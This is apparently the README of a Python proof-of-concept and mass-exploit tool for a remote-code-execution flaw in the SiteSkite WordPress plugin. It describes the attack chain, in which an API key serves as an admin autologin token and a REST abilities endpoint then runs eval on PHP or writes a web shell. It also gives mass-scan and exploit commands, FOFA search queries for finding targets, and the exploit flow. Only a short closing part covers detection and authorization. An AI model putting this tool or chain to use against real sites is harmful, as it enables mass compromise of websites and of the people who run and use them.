
Python PoC and mass-exploit tool for CVE-2026-96349, an unauthenticated RCE in the WordPress SiteSkite plugin ≤2.1.8 via API-key autologin and MCP PHP eval.
| Field | Value |
|---|---|
| CVE | CVE-2026-96349 |
| Product | SiteSkite WordPress plugin |
| Affected | ≤ 2.1.8 |
| Fixed | 2.2.0 |
| CWE | CWE-94 — Improper Control of Generation of Code |
| CVSS | 10.0 (Critical) — Patchstack advisory |
| PoCbit catalog | https://pocbit.org/pocs/ |
| PoCbit page | https://pocbit.org/pocs/cve-2026-96349 |
| Verify marker | POCBIT-96349-OK |
Python PoC in the same style as CVE-2026-102425: interactive menu, mass exploit (default), --check, -u, --lab, thread pool, hits.txt / exploited.txt.
Patchstack and the CVE Program describe CVE-2026-96349 as an unauthenticated remote code execution flaw in the SiteSkite plugin. Public text is intentionally short; vendor fix 2.2.0 (September 2026) touches authentication and auto-login heavily. Static comparison of 2.1.8 vs 2.2.0 in this repo (extract-2.1.8/, extract-2.2.0/) shows the practical attack surface this PoC implements.
SiteSkite is a large WebOps plugin: backups, portal API, and on-site AI MCP (“abilities”) including advanced tools that call eval() on attacker-supplied PHP (siteskite_execute_php) and arbitrary file write (siteskite_write_file). Those abilities are reachable over REST and over admin-ajax.php when the site is linked with a SiteSkite API key.
The critical mistake in ≤ 2.1.8 is that the same long-lived API key doubles as an unauthenticated WordPress admin login bearer:
AutoLoginController accepts ?token=<siteskite_api_key> on /siteskite-autologin and, via handle_token_login(), on any front-end URL that includes ?token=….get_option('siteskite_api_key') (no portal signature, no one-time nonce).wp_set_auth_cookie() for the first administrator, with optional 2FA bypass for Solid Security / similar plugins.2.2.0 removes this path: raw API key bearers are rejected (hash_equals checks, “Login Unavailable”), and login requires portal-issued signed links (AutologinPortalSignature). The mu-plugin safety core no longer honors legacy key logins.
From an attacker’s perspective the chain is:
/?token=KEY or /siteskite-autologin?token=KEY).POST /wp-json/siteskite/v1/abilities/execute (or admin-ajax.php?action=siteskite_api) with header X-SiteSkite-Key: KEY and run siteskite_execute_php or drop up.php via siteskite_write_file → POCBIT-96349-OK.Advanced MCP tools default on in 2.1.8 (McpSettings::DEFAULT_ADVANCED = '1'), so many linked sites expose eval once the key is known.
| Component | 2.1.8 behavior | 2.2.0 change |
|---|---|---|
includes/Core/AutoLoginController.php | ?token= equals stored API key → admin cookie | Raw key rejected; portal HMAC login only |
includes/Mcp/Abilities/AdvancedAbilities.php | siteskite_execute_php → eval($code) | Still present; gated by auth + settings |
includes/Mcp/AbilitiesRest.php | X-SiteSkite-Key → execute abilities | Same surface; autologin no longer leaks session without key |
includes/API/FallbackAPI.php | wp_ajax_nopriv_siteskite_api proxies abilities when key valid | Still requires key / guest key |
Other unauthenticated REST routes (UploadRest, OAuth registration) exist but require tokens or PKCE; they are not the primary chain modeled here.
| File | Role |
|---|---|
poc.py | CLI / interactive / mass exploit |
_engine.py | HTTP logic, PoCbit metadata, lab server |
up.php | Optional web shell probe (?pocbit=1 → marker) |
targets.example.txt | URL list; optional URL<TAB>api_key |
extract-2.1.8/ / extract-2.2.0/ | Vendor source for diff (not required to run PoC) |
pip install requests coloramapython poc.py
Prompts: mode, optional global API key, target file, threads (default 16), timeout.
exploited.txtpython poc.py fofa_targets.txt
python poc.py urls.txt --key YOUR_SITESKITE_API_KEY
python poc.py urls.txt -t 24 -T 25
Per-target keys (tab, space, or pipe after URL):
https://customer.example abc123…siteskiteKey…
https://other.site|anotherKey
Environment fallback: SITESKITE_API_KEY or SITESKITE_KEY.
hits.txtpython poc.py --check fofa_targets.txt
Fingerprint: readme.txt Stable tag, legacy /siteskite-autologin missing-token response, version ≤ 2.1.8.
python poc.py -u https://target.example --check
python poc.py -u https://target.example --key SITE_SKITE_KEY
python poc.py --lab
Spins 127.0.0.1:8796 with fake readme 2.1.8, autologin, and abilities endpoint; must return "exploited": true.
flowchart LR
A[Target URL] --> B{readme ≤ 2.1.8?}
B -->|no| Z[skip / patched]
B -->|yes| C{API key known?}
C -->|no| N[needs_api_key]
C -->|yes| D[POST abilities/execute]
D --> E{siteskite_execute_php}
E -->|marker| F[RCE verified]
E -->|fail| G[autologin ?token=KEY]
G --> D
E -->|fail| H[write_file / ajax fallback]
H --> F
siteskite_execute_php with echo POCBIT-96349-OK;route=/abilities/execute)siteskite_write_file → wp-content/uploads/pocbit_96349.phpeval drop helper for up.phpJSON result rows include pocbit, pocbit_catalog, pocbit_page, CVE URLs, and verify_marker for logging pipelines.
Examples (adjust to your indexer):
body="/wp-content/plugins/siteskite/"
header="siteskite" && body="wp-content/plugins"
Check mode does not brute-force API keys. Exploit mode requires a key unless you already have url\tkey pairs from your own portal or leak intelligence.
/siteskite-autologin and audit logs for ?token= / X-SiteSkite-Key abuse.Use only on systems you own or have written authorization to test. Unauthorized access is illegal.